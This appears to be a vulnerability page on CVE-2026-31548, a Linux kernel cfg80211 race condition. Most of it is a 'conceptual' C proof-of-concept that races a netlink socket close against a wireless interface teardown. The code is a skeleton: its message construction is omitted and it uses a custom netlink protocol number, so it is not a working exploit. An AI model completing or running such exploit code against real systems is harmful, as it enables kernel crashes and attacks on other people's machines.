CVE-2026-31548: Linux内核cfg80211竞态条件漏洞

/* * Conceptual PoC for CVE-2026-31548 * This code attempts to trigger the race condition between * PMSR socket closure and interface teardown. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <pthread.h> #define NETLINK_USER 31 void* teardown_interface(void* arg) { // Simulate the interface teardown (wdev down) // In a real exploit, this would interact with cfg80211 via ioctl or netlink sleep(1); system("ip link set wlan0 down"); return NULL; } int main() { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; pthread_t tid; // 1. Create Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_USER); if (sock_fd < 0) return -1; memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; src_addr.nl_pid = getpid(); bind(sock_fd, (struct sockaddr*)&src_addr, sizeof(src_addr)); // 2. Send a PMSR request (simplified) // Real PoC would construct a valid NL80211_CMD_PEER_MEASUREMENT_START message // ... (Message construction omitted) ... // 3. Trigger the race pthread_create(&tid, NULL, teardown_interface, NULL); // 4. Close the socket to trigger cfg80211_release_pmsr and schedule pmsr_free_wk close(sock_fd); pthread_join(tid, NULL); return 0; }